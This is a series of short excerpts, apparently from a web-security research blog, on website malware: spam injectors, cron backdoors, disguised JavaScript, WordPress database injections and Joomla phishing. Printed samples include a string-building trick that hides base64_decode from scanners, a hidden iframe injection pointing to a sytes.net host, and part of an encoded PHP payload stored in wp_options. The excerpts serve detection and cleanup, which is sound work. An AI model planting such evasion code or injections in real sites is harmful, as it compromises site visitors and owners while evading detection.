The Hidden Backdoors to the City of Cron

An attackers key to creating a profitable malware campaign is its persistency. Malicious code that is easily detected and removed will not generate enough value for their creators. This is the reason why we are seeing more and more malware using creative backdoor techniques, different obfuscation methods, and using unique approaches to increase the lifespan of any given attack.

Cron Malware Backdoor

Today we found this malware: A simple, but heavily encoded SPAM injector that was prepended to a valid Joomla File. Yes, nothing new, we have thousands of blog posts that show this kind of malware:


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Understanding Google’s Blacklist – Cleaning Your Hacked Website and Removing From Blacklist

Today we found an interesting case where Google was blacklisting a client’s site but not sharing the reason why. The fact they were sharing very little info should not be new, but what we found as we dove a little deeper should be. The idea is to provide you webmasters with the required insight to understand what is going on, and how to troubleshoot things when your website is blacklisted.

Get Your Bearing

While investigating the website, we found that some Google shortened URLs were being loaded and redirecting to http://bls.pw/. Two of the goo.gl links were pointing to Wikipedia images, their icon to be specific, and one was redirecting to http://bls.pw/ shortener.

goo.gl/9yBTe - http://bits.wikimedia.org/favicon/wikipedia.ico
goo.gl/hNVXP - http://bits.wikimedia.org/favicon/wikipedia.ico?2x2
goo.gl/24vi1 - http://bls.pw/

A quick search for this last URL took us to /wp-content/themes/Site’sTheme/css/iefix.sct. As malware writers like to do, it was trying to trick us into believing it was good code. In this case, the Sizzle CSS Selector Engine code (Real code here) was the target:

Sucuri  Sizzle CSS Selector Engine Modified III

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Blackhat SEO and ASP Sites

It’s all too easy to scream and holler at PHP based websites and the various malware variants associate with the technology, but perhaps we’re a bit too biased.

Here is a quick post on ASP variant. Thought we’d give you Microsoft types some love too.

Today we found this nice BlackHat SEO attack:

Sucuri SiteCheck ASP Malware

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Joomla – Fancy SPAM Injections

Malware writers can be really ingenious when it comes to obfuscating their code. And let’s face it, in today’s anti-malware push, they have to; the slightest variation will often trigger warnings that will make it look suspicious in turn shortening its life-span.

When we talk about obfuscation the first thing we think is base64 encoding, gzinflate or any other built-in function that will help making the code illegible for the average user, but they’ll often stick out to the trained eye.

With that in mind, obfuscating the malware code to look like good code is the best approach to make it last longer.

Take this code, for example:

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Backdoor Evasion Using Encrypted Content

A few weeks ago on the Sucuri Research Labs we mentioned a new type of malware injection that does not use base64_decode, and instead conceals itself as a variable and is built with a combination of “base_” + (32*2) + “_decode”. This is the part of the code where it is hidden:

$g___g_='base'.(32*2).'_de'.'code';

Any tool that looks for eval, followed by base64_decode, or just flags on any base64_decode usage, will not find it.

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Malware iFrame Campaign from Sytes(.)net

For the last few weeks we have been tracking a large malframe (malicious iframe) campaign that has been injecting iframes from random domains from sytes(.)net into compromised sites.

Malicious iframe injection is nothing new, the bad guys have been using no-ip.org domains for a long time. But what is catching our attention is how often these domains are changing and how short a life-span they have.

This is the payload being added to the compromised sites:

<iframe src="httX:// krbnomrhp.sytes.net:12601 /cart/manuallogin/linktous.php?guardian=82" 
    width=1 height=1 style="visibility: hidden"></iframe>

As you can see, it is a normal iframe injection. But that domain will go offline in approximately 30 minutes and get replaced by a new one. Here is a list we compiled over the past 24 hours:

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WordPress Database Table and wp_head Injections

There are multiple places where a malware injection can be hidden on a web site. On WordPress, for example, it can be hidden inside the core files, themes, plugins, .htaccess and on the database. More often than not, the malware uses a combination of those which makes it harder to detect.

Today, we will talk about a database injection that we are seeing often lately, that uses wp_head() to display the malware to anyone visiting a compromised web site.

Database Injection

WordPress offers multiple API calls to manage and read the content from inside the database. One of those calls is the get_option function that returns a value from the wp_options table. The wp_options table is widely used by many plugins and themes to store long term data, and is generally full of entries making it a good place to hide malicious code.

If you don’t believe me and you use WordPress, just list the wp_options table from your site to see what I am talking about.

Here’s what we are finding inside the wp_options table under “page_option” on some compromised sites:

s:7546:"a:18:{i:0;s:10:"11-07-
2013";i:1;s:1:"e";i:2;s:32:"061d57e97e504a23cc932031f712f730";
i:3;s:32:"07b6910226033fa5ee75721b4fc6573f";
i:4;s:4:"val(";i:5;s:32:"2a27230f54e4cea4a8ed38d66e2c0";
i:6;s:1:"(";i:7;s:6993:"'LyogTXVuaW5uIHZlcnNpb246MSBkYXRlOjIxLj
VFsncGFzcyddKT09PSc2OTJlM2Y1MmVlNmYxNmJjNzhmYTZlMWVjNGJkNGE2YSc
VCwgRVhUUl9TS0lQKTsKCglpZighZW1wdHkoJHRob3IpKQoJCUAkdGhvcigkaGF
dGlvbl9leGlzdHMgKCdzdHJpcG9zJykpIHsKCWZ1bmN0aW9uIHN0cmlwb3MgKCR
G9mZnNldD0wKSB7CgkJcmV0dXJuIHN0cnBvcyAoc3RydG...
... very long ..


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Joomla Hacks – Part I – Phishing

Joomla is a very popular open source CMS, dominating approximately 10% of the website market. While great for them, horrible for many others, as being popular often paints a big target on your back, at least when it comes to CMS applications.

Lately though, Joomla has had a bad spell, in which a vulnerability was found that was allowing for arbitrary PHP uploads via core. Any site that is not properly updated (or patched), can be an easily compromised. This applies to any website running Joomla 1.0.x, 1.5.x and the 1.6 and 1.7 branches, each one needs to be updated to the supported 2.5 or 3.0. Once that is supported, they need to be updated again to the latest 3.1.5 or 2.5.14 versions.

Unfortunately for Joomla users, the upgrade path is perhaps its weakest link. The reverse compatibility issues are so severe in the various branches that it plays right into the attackers objectives facilitating sever vulnerabilities, allowing them to have wider impacts across the website ecosystem. Because of this, we will share in this post one very specific method attackers are using to perform nefarious acts using the websites you visit or own, a little something known as Phishing.

  • Part I – Phishing injection


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Open Source Backdoor – Copyrighted Under GNU GPL

Malware code can be very small, and the impact can be very severe! In our daily tasks we find a lot of web-based malware that varies in size and impact. Some of the malware is well known and very easy to detect, others not so much, but this one is very interesting.

Open Source GNU

Here’s the backdoor, can you see what it’s doing?

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More Creative Backdoors – Using Filename Typos

When a site gets compromised, one thing we know for sure is that the attackers will leave some piece of malware in there to allow them access back to the site. We call this type of control capability a backdoor.

Backdoors are very hard to find because they don’t have to be linked anywhere in the site, they can be very small, and can be easily confused with “normal” code. Some of them have passwords, some are heavily encrypted/encoded and can be anywhere in your site.

As part of our job remediating (cleaning) websites, we get to see all types of backdoors. One thing we are noticing is how the attackers are getting more creative each day, always trying to find ways to be more “discrete”. They often mix the backdoor files or code with core website files so that they won’t be noticed easily.

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